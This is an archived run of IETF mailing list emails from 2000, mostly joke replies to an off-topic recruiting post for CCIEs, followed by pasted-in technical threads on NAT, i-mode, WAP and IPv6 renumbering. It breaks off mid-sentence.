Received: from dragonfly.ncdragonfly.com (dragonfly.ncdragonfly.com [209.137.27.201])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26748
	for <ietf@ietf.org>; Wed, 14 Jun 2000 12:17:25 -0400 (EDT)
Received: from HDAHTS66001 (216.5.191.53 [216.5.191.53]) by dragonfly.ncdragonfly.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3)
	id LDTWR9YX; Wed, 14 Jun 2000 12:27:49 -0400
Reply-To: <dahigginbotham@ncdragonfly.com>
From: "David A. Higginbotham" <dahigginbotham@ncdragonfly.com>
To: <ietf@ietf.org>
Subject: RE: CCIE
Date: Wed, 14 Jun 2000 12:19:57 -0400
Message-ID: <BB2831D3689AD211B14C00104B14623B1E75D6@HAZEN04>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <BB2831D3689AD211B14C00104B14623B23C060@HAZEN04>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

can opener, cork screw, knive, fork, spoon, etc. a swiss army kind of thing
hig

-----Original Message-----
From: Randy Bush [mailto:randy@psg.com]
Sent: Wednesday, June 14, 2000 11:55 AM
To: mark.paton
Cc: Ietf@Ietf. Org
Subject: Re: CCIE


> Forgive this spam, but I am looking for 7 CCIE's
> for locations in London, Silicon Valley,
> California and Tokyo.

i can not find an rfc for "CCIE."  what is one, some kind of can opener?

randy



From owner-ietf-outbound  Wed Jun 14 12:50:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA27910
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 12:50:03 -0400 (EDT)
Received: from localhost.localdomain (thibault.org [207.8.144.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA27715
	for <ietf@ietf.org>; Wed, 14 Jun 2000 12:43:03 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id MAA07282
	for <ietf@ietf.org>; Wed, 14 Jun 2000 12:43:16 -0400
Sender: francis@localhost.localdomain
Message-ID: <3947B624.D35BEC60@ecal.com>
Date: Wed, 14 Jun 2000 12:43:16 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: Re: CCIE
References: <NCBBINIKLKLJEEDCGLOAKEHDCGAA.mark.paton@btinternet.com> <E132FVV-0000d8-00@roam.psg.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Randy Bush wrote:

> i can not find an rfc for "CCIE."  what is one, some kind of can opener?

Yes, exactly: a Can Consumable Ingredients Extractor.

--
/===============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own. |
|Chief Scientist |==============================================|
|eCal Corp.      |"I only wish I had time to get married myself,|
|francis@ecal.com|as I've told m'wife many's the time."         |
\===============================================================/





From owner-ietf-outbound  Wed Jun 14 13:00:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA28235
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 13:00:02 -0400 (EDT)
Received: from faatcrl.tc.faa.gov (faatcrl.faa.gov [155.178.252.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA27865
	for <ietf@ietf.org>; Wed, 14 Jun 2000 12:48:19 -0400 (EDT)
Received: from BELLOPEM ([172.26.208.2])
	by faatcrl.tc.faa.gov (8.8.8/8.8.8) with SMTP id MAA07171;
	Wed, 14 Jun 2000 12:46:05 -0400 (EDT)
From: "Michael B. Bellopede" <Michael.CTR.Bellopede@tc.faa.gov>
To: <Valdis.Kletnieks@VT.EDU>, "Randy Bush" <randy@psg.com>
Cc: "mark.paton" <mark.paton@btinternet.com>, "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: RE: CCIE 
Date: Wed, 14 Jun 2000 12:43:22 -0400
Message-ID: <PPECLLOGBEPHLOMKLNAMGEPBCBAA.Michael.CTR.Bellopede@tc.faa.gov>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <13177@tc.faa.gov>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I don't think this is a standard yet, perhaps we should start a WG.

-Michael B. Bellopede
 Michael.CTR.Bellopede@tc.faa.gov

-----Original Message-----
From: Valdis.Kletnieks@VT.EDU [mailto:Valdis.Kletnieks@VT.EDU]
Sent: Wednesday, June 14, 2000 12:12 PM
To: Randy Bush
Cc: mark.paton; Ietf@Ietf. Org
Subject: Re: CCIE 


On Wed, 14 Jun 2000 09:55:09 MDT, Randy Bush said:
> > Forgive this spam, but I am looking for 7 CCIE's
> > for locations in London, Silicon Valley,
> > California and Tokyo.
> i can not find an rfc for "CCIE."  what is one, some kind of can opener?

Given the locations, it must be some I18N standard. ;)


-- 
                                Valdis Kletnieks
                                Operating Systems Analyst
                                Virginia Tech





From owner-ietf-outbound  Wed Jun 14 13:20:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA28798
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 13:20:03 -0400 (EDT)
Received: from ztxmail03.ztx.compaq.com (ztxmail03.ztx.compaq.com [161.114.1.207])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28630
	for <ietf@ietf.org>; Wed, 14 Jun 2000 13:13:47 -0400 (EDT)
Received: by ztxmail03.ztx.compaq.com (Postfix, from userid 12345)
	id 57BBA1B60; Wed, 14 Jun 2000 12:13:17 -0500 (CDT)
Received: from exchou-gh03.cca.cpqcorp.net (exchou-gh03.cca.cpqcorp.net [16.110.248.203])
	by ztxmail03.ztx.compaq.com (Postfix) with ESMTP
	id 46D2919F8; Wed, 14 Jun 2000 12:13:17 -0500 (CDT)
Received: by exchou-gh03bk.im.hou.compaq.com with Internet Mail Service (5.5.2650.21)
	id <MN63C2BZ>; Wed, 14 Jun 2000 12:13:16 -0500
Message-ID: <202F03744BDCD31194270000F803CA9E76FD6A@cxoexc2.cxo.dec.com>
From: "Maddux, Michel" <Michel.Maddux@compaq.com>
To: "'Feigel Reinhold (MC-AC/WES1)'" <Reinhold.Feigel@marconi.com>,
        "Ietf@Ietf. Org" <ietf@ietf.org>,
        "'mark.paton'" <mark.paton@BTINTERNET.COM>
Subject: RE: CCIE
Date: Wed, 14 Jun 2000 12:13:08 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
X-Loop: ietf@ietf.org

Forgive this spam;  I've got a lot of spam in the can and candles left over
from Y2K preparation in my basement.  Cases and cases, including the ever
popular 'food' flavored spam.  Also, I have two generators and 20,000 boxes
of ammunition.  These would make a nice addition to the wooden coffins
advertised below.  
Thanks. /m.

> -----Original Message-----
> From:	Feigel Reinhold (MC-AC/WES1) [SMTP:Reinhold.Feigel@marconi.com]
> Sent:	Wednesday, June 14, 2000 8:18 AM
> To:	Ietf@Ietf. Org; 'mark.paton'
> Subject:	AW: CCIE
> 
> Forgive this spam again: I have got a large position of high quality
> wooden
> coffins, and anyone recently died should contact for an immedate delivery
> (having in mind the high summer temperature!).
> 
> 



From owner-ietf-outbound  Wed Jun 14 13:30:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA29102
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 13:30:02 -0400 (EDT)
Received: from galby.ipp.pt (galby.ipp.pt [193.136.60.10])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28722
	for <ietf@ietf.org>; Wed, 14 Jun 2000 13:17:51 -0400 (EDT)
Received: from cristelo (cristelo [193.136.60.253])
	by galby.ipp.pt (8.9.1a/8.9.1) with SMTP id TAA16334;
	Wed, 14 Jun 2000 19:17:13 +0200
Message-ID: <008401bfd624$5cb78140$fd3c88c1@cristelo>
From: "Nuno Cristelo" <cristelo@IPP.PT>
To: "John Stracke" <francis@ecal.com>, "Ietf@Ietf. Org" <ietf@ietf.org>
References: <NCBBINIKLKLJEEDCGLOAKEHDCGAA.mark.paton@btinternet.com> <E132FVV-0000d8-00@roam.psg.com> <3947B624.D35BEC60@ecal.com>
Subject: Re: CCIE
Date: Wed, 14 Jun 2000 18:17:04 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
Disposition-Notification-To: "Nuno Cristelo" <cristelo@ipp.pt>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

With messages like these  you are creating "sub-spamming".

Someone sends a message like "We are looking for CCIE's". And then several
users, instead of ignoring the message, start telling jokes almost "ad
eternum". Is this right ? You are not stopping the "spam", you are
continuing the "spamming" (with a new mutation)...

For this kind of talk maybe IEFT should create a discussion group -
"alt.comp.ietf.jokes-about.spamming". or "alt.comp.ietf.ccie-jokes".



Best regards,

Nuno Cristelo

----- Original Message -----
From: "John Stracke" <francis@ecal.com>
To: "Ietf@Ietf. Org" <ietf@ietf.org>
Sent: Wednesday, June 14, 2000 5:43 PM
Subject: Re: CCIE


> Randy Bush wrote:
>
> > i can not find an rfc for "CCIE."  what is one, some kind of can opener?
>
> Yes, exactly: a Can Consumable Ingredients Extractor.
>
> --
> /===============================================================\
> |John Stracke    | http://www.ecal.com |My opinions are my own. |
> |Chief Scientist |==============================================|
> |eCal Corp.      |"I only wish I had time to get married myself,|
> |francis@ecal.com|as I've told m'wife many's the time."         |
> \===============================================================/
>
>
>



From owner-ietf-outbound  Wed Jun 14 14:10:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA00529
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 14:10:02 -0400 (EDT)
Received: from apollo.dmnews.com (gw.dmnews.com [204.141.161.6])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA00192
	for <ietf@ietf.org>; Wed, 14 Jun 2000 14:00:39 -0400 (EDT)
Received: by APOLLO with Internet Mail Service (5.5.2650.10)
	id <MDH4VWF8>; Wed, 14 Jun 2000 14:08:00 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03DA3F@APOLLO>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: CCIE
Date: Wed, 14 Jun 2000 14:07:59 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.10)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Folks I am not trying to solve the World's problems today but - how about we
talk about SOMETHING instead of continuing with a thread about - well you
get the idea.



Lillian Komlossy || Site Manager || http://www.dmnews.com ||
http://www.imarketingnews.com || 212 925-7300 ext. 232 ||
mailto:lillian@dmnews.com


-----Original Message-----
From: mark.paton [mailto:mark.paton@btinternet.com]
Sent: Wednesday, June 14, 2000 9:26 AM
To: Ietf@Ietf. Org
Subject: CCIE


Forgive this spam, but I am looking for 7 CCIE's
for locations in London, Silicon Valley,
California and Tokyo.  Anyone interested please
email me back and I will forward your details to
HR.

Many thanks

Regards

Mark Paton CEO/DIR. Internet Network Eng
Mercury Network Systems Limited
+44 585 649051
+44 1256 761925
http://www.mnsl.org

"Mercury Network Systems - The Unstoppable Force"

This e-mail is intended only for the addressee
named above. As this e-mail may contain
confidential or privileged information if you are
not, or suspect that you are not, the named
addressee or the person responsible for delivering
the message to the named addressee, please
telephone us immediately. Please note that we
cannot guarantee that this message or any
attachment is virus free or has not been
intercepted and amended.


The views of the author may not necessarily
reflect those of the Company.



From owner-ietf-outbound  Wed Jun 14 14:20:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA00924
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 14:20:03 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA00448
	for <ietf@ietf.org>; Wed, 14 Jun 2000 14:08:08 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 132Ha7-0001CH-00; Wed, 14 Jun 2000 19:08:03 +0100
Date: Wed, 14 Jun 2000 19:07:56 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Nuno Cristelo <cristelo@IPP.PT>
cc: John Stracke <francis@ecal.com>, "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: Re: CCIE
In-Reply-To: <008401bfd624$5cb78140$fd3c88c1@cristelo>
Message-ID: <Pine.GSO.4.21.0006141906380.26273-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Wed, 14 Jun 2000, John Stracke wrote:

> > Randy Bush wrote:
> >
> > > i can not find an rfc for "CCIE."  what is one, some kind of can opener?
> >
> > Yes, exactly: a Can Consumable Ingredients Extractor.

Great.

Please employ him to deal with all this tinned spam we're being
deluged with.

L.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Wed Jun 14 14:30:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA01279
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 14:30:02 -0400 (EDT)
Received: from europe.std.com (europe.std.com [199.172.62.20])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA01209
	for <ietf@ietf.org>; Wed, 14 Jun 2000 14:28:18 -0400 (EDT)
Received: from world.std.com (brunner@world-f.std.com [199.172.62.5])
	by europe.std.com (8.9.3/8.9.3) with ESMTP id OAA01261;
	Wed, 14 Jun 2000 14:28:16 -0400 (EDT)
Received: from localhost (brunner@localhost)
	by world.std.com (8.9.3/8.9.3) with SMTP id OAA09620;
	Wed, 14 Jun 2000 14:28:16 -0400 (EDT)
Message-Id: <200006141828.OAA09620@world.std.com>
X-Authentication-Warning: world.std.com: brunner@localhost didn't use HELO protocol
To: randy@PSG.COM
cc: mark.paton@btinternet.com, ietf@ietf.org
Subject: Re: CCIE
Date: Wed, 14 Jun 2000 14:28:16 -0400
From: Eric Brunner <brunner@world.std.com>
X-Loop: ietf@ietf.org

>> Forgive this spam, but I am looking for 7 CCIE's
>> for locations in London, Silicon Valley,
>> California and Tokyo.
>
> i can not find an rfc for "CCIE."  what is one, some kind of can opener?
 
"Carbon Copy Internet Explorer", from the "New Corporation(s)." They'll I-D
on or about 04/01/01, after securing the market. Power of 2 and all that, neh?
 
Eric



From owner-ietf-outbound  Wed Jun 14 15:50:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA03096
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 15:50:02 -0400 (EDT)
Received: from mail1.sfo.logictier.net (sfo-mail.logictier.com [208.35.215.135])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03002
	for <ietf@ietf.org>; Wed, 14 Jun 2000 15:47:09 -0400 (EDT)
Message-Id: <200006141947.PAA03002@ietf.org>
Received: from logictier.com (dhcp-60.sfo.logictier.net [192.168.4.60]) by mail1.sfo.logictier.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id LJHXBF6K; Wed, 14 Jun 2000 12:46:41 -0700
To: "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: Re: CCIE 
In-reply-to: Your message of "Wed, 14 Jun 2000 12:36:16 PDT."
From: "Kevin Lahey" <kml@logictier.com>
Date: Wed, 14 Jun 2000 12:48:59 -0700
Sender: kml@logictier.com
X-Loop: ietf@ietf.org

"Kevin Lahey" writes
>In message <NCBBINIKLKLJEEDCGLOAKEHDCGAA.mark.paton@btinternet.com>,
>"mark.paton" writes:
>>
>>Forgive this spam, but I am looking for 7 CCIE's
>>for locations in London, Silicon Valley,
>>California and Tokyo.  Anyone interested please
>>email me back and I will forward your details to
>>HR.
>
>This is an inappropriate message for this mailing list.  If you'd
>like to see the kinds of messages that are appropriate, here's
>the archive of traffic for the last month:

Although not as inappropriate as my reply.  I will fully deserve
the ration of crap that will no doubt rain down on me for being
stupid enough to send this to *anyone* in the first place, let
alone to the entire IETF list.  My apologies.

Kevin Lahey
kml@logictier.com



From owner-ietf-outbound  Wed Jun 14 15:47:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA02998
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 15:46:37 -0400 (EDT)
Received: from mail1.sfo.logictier.net (sfo-mail.logictier.com [208.35.215.135])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02770
	for <ietf@ietf.org>; Wed, 14 Jun 2000 15:34:34 -0400 (EDT)
Message-Id: <200006141934.PAA02770@ietf.org>
Received: from logictier.com (192.168.4.60 [192.168.4.60]) by mail1.sfo.logictier.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id LJHXBF5G; Wed, 14 Jun 2000 12:34:03 -0700
To: "mark.paton" <mark.paton@btinternet.com>
cc: "Ietf@Ietf. Org" <ietf@ietf.org>, kml
Subject: Re: CCIE 
In-reply-to: Your message of "Wed, 14 Jun 2000 14:25:57 BST."
             <NCBBINIKLKLJEEDCGLOAKEHDCGAA.mark.paton@btinternet.com> 
From: "Kevin Lahey" <kml@logictier.com>
Date: Wed, 14 Jun 2000 12:36:16 -0700
Sender: kml@logictier.com
X-Loop: ietf@ietf.org

In message <NCBBINIKLKLJEEDCGLOAKEHDCGAA.mark.paton@btinternet.com>,
"mark.paton" writes:
>
>Forgive this spam, but I am looking for 7 CCIE's
>for locations in London, Silicon Valley,
>California and Tokyo.  Anyone interested please
>email me back and I will forward your details to
>HR.

This is an inappropriate message for this mailing list.  If you'd
like to see the kinds of messages that are appropriate, here's
the archive of traffic for the last month:


From owner-ietf-outbound  Mon May  1 04:51:53 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA22260
	for ietf-outbound.10@ietf.org; Mon, 1 May 2000 04:50:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA22234
	for <ietf@ietf.org>; Mon, 1 May 2000 04:44:39 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200005010842.RAA11363@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id RAA11363; Mon, 1 May 2000 17:42:00 +0900
Subject: Re: draft-ietf-nat-protocol-complications-02.txt
In-Reply-To: <4.3.1.2.20000430061634.0117de78@shoe.reston.mci.net> from "vinton
 g. cerf" at "Apr 30, 2000 06:20:48 am"
To: "vinton g. cerf" <vcerf@MCI.NET>
Date: Mon, 1 May 2000 17:42:00 +0859 ()
CC: Matt Holdrege <holdrege@lucent.com>,
        Thomas Narten <narten@raleigh.ibm.com>, ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Vint;

> that's right - they use iMODE on the DOCOMO mobiles. iMODE and
> WAP seem to have that in common: a non-IP radio link protocol
> and an application gateway. Of course, this limits the applications
> to those that can be "translated" in the gateway, while an end to
> end system (such as the Ricochet from Metricom) would allow 
> essentially any application on an Internet server to interact
> directly with the mobile device because the gateway would merely
> be an IP level device, possibly with NAT functionality.
> With a JAVA interpreter or other similar capability in the
> mobile, one could imagine considerable competition for development
> of new applications. As it stands, only the applications NTT
> chooses to implement in the translating gateway are accessible.

An interesting thing is that iMODE is so successful that DOCOMO
is suffering from the usual problems (lack of scalability and
robustness) caused by violating the end to end principle.

iMODE is now infamous for its frequent service interruption.

DOCOMO users are refunded for the interruption.

> Since HTTP is one of the "applications" served, there is still
> a lot of room for competition, I suppose.

To make the competition fair, the important questions are:

	Is it fair if providers using iMODE or WAP are advertised
	to be ISPs?

	Is it fair if providers using NAT are advertised to be ISPs?

My answer to both questions is

	No, while they may be Internet Service Access Providers and
	NAT users may be IP Service Providers, they don't provide
	Internet service and are no ISPs.

Any oppositions?

						Masataka Ohta



From owner-ietf-outbound  Mon May  1 07:01:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA23645
	for ietf-outbound.10@ietf.org; Mon, 1 May 2000 07:00:02 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA23594
	for <ietf@ietf.org>; Mon, 1 May 2000 06:57:19 -0400 (EDT)
Received: from cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.07733-0@bells.cs.ucl.ac.uk>; Mon, 1 May 2000 11:55:51 +0100
To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
cc: "vinton g. cerf" <vcerf@MCI.NET>, Matt Holdrege <holdrege@lucent.com>,
        Thomas Narten <narten@raleigh.ibm.com>, ietf@ietf.org,
        J.Crowcroft@CS.UCL.AC.UK
Subject: Re: draft-ietf-nat-protocol-complications-02.txt
In-reply-to: Your message of "Mon, 01 May 2000 17:42:00 +0859." <200005010842.RAA11363@necom830.hpcl.titech.ac.jp>
Date: Mon, 01 May 2000 11:55:50 +0100
Message-ID: <7731.957178550@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org


In message <200005010842.RAA11363@necom830.hpcl.titech.ac.jp>, Masataka Ohta ty
ped:
 
 >>	Is it fair if providers using iMODE or WAP are advertised
 >>	to be ISPs?
 >>
 >>	Is it fair if providers using NAT are advertised to be ISPs?
 >>
 >>My answer to both questions is
 >>
 >>	No, while they may be Internet Service Access Providers and
 >>	NAT users may be IP Service Providers, they don't provide
 >>	Internet service and are no ISPs.

i agree:
in the UK, i would say that someone claiming internet access via WAP
would be in breach of the trades description act.

 >>Any oppositions?
 
not from here (for wap - i dont know enough about iMODE to comment)
 >>						Masataka Ohta
 >>

 cheers

   jon



From owner-ietf-outbound  Mon May  1 12:51:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA29994
	for ietf-outbound.10@ietf.org; Mon, 1 May 2000 12:50:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29925
	for <ietf@ietf.org>; Mon, 1 May 2000 12:45:34 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200005011641.BAA12661@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id BAA12661; Tue, 2 May 2000 01:41:02 +0900
Subject: Re: draft-ietf-nat-protocol-complications-02.txt
In-Reply-To: <DA5558CC09AED311ABE10000778D757F4C2CB7@mailsrv.itu.ch> from "Shaw,
 Robert" at "May 1, 2000 11:35:53 am"
To: "Shaw, Robert" <Robert.Shaw@itu.int>
Date: Tue, 2 May 2000 01:41:01 +0859 ()
CC: "'vinton g. cerf'" <vcerf@MCI.NET>, Matt Holdrege <holdrege@lucent.com>,
        Thomas Narten <narten@raleigh.ibm.com>, ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Robert;

> WAP and i-mode are *very* different.

FTP and SMTP are *very* different, because SMTP is a lot easier to
pass application/transport gateways.

However, the question of whether it is IP or not is enough to dismiss
iMODE and WAP.

The battle has been and still is fought between the end to end
Internet and intelligent telephone network.

NAT was merely an interim solution for telephone network people
until they are ready with non-IP protocols of iMODE or WAP.

Now, the option is between the stupid Internet with global IP
connectivity and the telephony based intelligent non-IP network
with a lot of application/transport gateways.

There is no ecological niche for intelligent IP network with
a lot of application/transport gateways (NAT), any more.

> i-mode uses native 
> http servers with some relatively transparent html 
> extensions for handsets (such as <a AccessKey="1" href="...). 

For IP community, it means that iMODE is worse than WAP.

For IP community, SMTP is worse than FTP, because SMTP is more
application/transport gateway friendly than FTP.

It is regrettable that some IETF WGs have damaged the Internet trying
to make application/transport layer protocols unnecessarily complex
to be NAT and/or non-IP protocol friendly.

							Masataka Ohta



From owner-ietf-outbound  Mon May  1 14:41:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA02248
	for ietf-outbound.10@ietf.org; Mon, 1 May 2000 14:40:02 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02000
	for <ietf@ietf.org>; Mon, 1 May 2000 14:31:48 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id OAA29610
	for <ietf@ietf.org>; Mon, 1 May 2000 14:30:55 -0400
Sender: francis@localhost.localdomain
Message-ID: <390DCD5E.1F9638A6@ecal.com>
Date: Mon, 01 May 2000 14:30:54 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: draft-ietf-nat-protocol-complications-02.txt
References: <200005011641.BAA12661@necom830.hpcl.titech.ac.jp>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Masataka Ohta wrote:

> > i-mode uses native
> > http servers with some relatively transparent html
> > extensions for handsets (such as <a AccessKey="1" href="...).
>
> For IP community, it means that iMODE is worse than WAP.

I'm not sure that's the case.  It sounds like it's easy to develop a Web
site that works both on i-mode and on a standard Web browser; that means
that a site that wants to support i-mode doesn't have to drain off
effort that could otherwise go into improving the site.  Further, since
the site has only one codebase, it probably has only one set of security
holes, rather than two.  Both of these are an improvement over WAP.  The
extra bandwidth that the IP endpoints spend on sending the AccessKey
attribute is regrettable, but probably less of a loss than the
development effort of a dual-mode site.

Didn't someone from DOCOMO present in Adelaide, and say they were
planning to go to running IP in the handsets?

--
/==============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.|
|Chief Scientist |=============================================|
|eCal Corp.      |"If nobody believes what I say, I feel       |
|francis@ecal.com|ineffective." "Oh, I don't believe that."    |
\==============================================================/





From owner-ietf-outbound  Mon May  1 15:21:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA03647
	for ietf-outbound.10@ietf.org; Mon, 1 May 2000 15:20:02 -0400 (EDT)
Received: from mail-gw.hursley.ibm.com (mail-gw.hursley.ibm.com [194.196.110.15])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03494
	for <ietf@ietf.org>; Mon, 1 May 2000 15:14:26 -0400 (EDT)
Received: from sp3at21.hursley.ibm.com (sp3at21.hursley.ibm.com [9.20.45.21]) by mail-gw.hursley.ibm.com (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id UAA46770; Mon, 1 May 2000 20:13:51 +0100
Received: from hursley.ibm.com (gsine02.us.sine.ibm.com [9.14.6.42]) by sp3at21.hursley.ibm.com (AIX4.2/UCB 8.7/8.7.3) with ESMTP id UAA23402; Mon, 1 May 2000 20:13:48 +0100 (BST)
Message-ID: <390DD32E.8150CCDC@hursley.ibm.com>
Date: Mon, 01 May 2000 13:55:42 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: Sean Doran <smd@ebone.net>
CC: narten@raleigh.ibm.com, pfrancis@ACIRI.ORG, ietf@ietf.org
Subject: Re: runumbering (was: Re: IPv6: Past mistakes repeated?)
References: <200004261644.SAA07923@sean.ebone.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Sean Doran wrote:
> 
> Thomas Narten writes:
> 
> | Actually, if your assumption is that NATv6 is better than IPv6 with
> | renumbering, then IPv4 and NATv4 was good enough to start with and
> | there was need to move to IPv6 in the first place.
>            ^
>            no  (right?  maybe this is where the previous "not" came from -:) )
> 
> Did you see Noel's excellent observation that the problem with
> NAT is architectural and not mechanical?   The architectural problem:
> more things to address on one side of the NAT than there are addresses
> on the other side of the NAT.
> 
> IPv6 does bring *ONE* thing significantly different from IPv4:
> lots of address space.  So much, that we do not obviously need to
> have situations where there is an addressability mismatch on any
> side of a NAT.
> 
> NATv6 therefore does not suffer the architectural flaw that
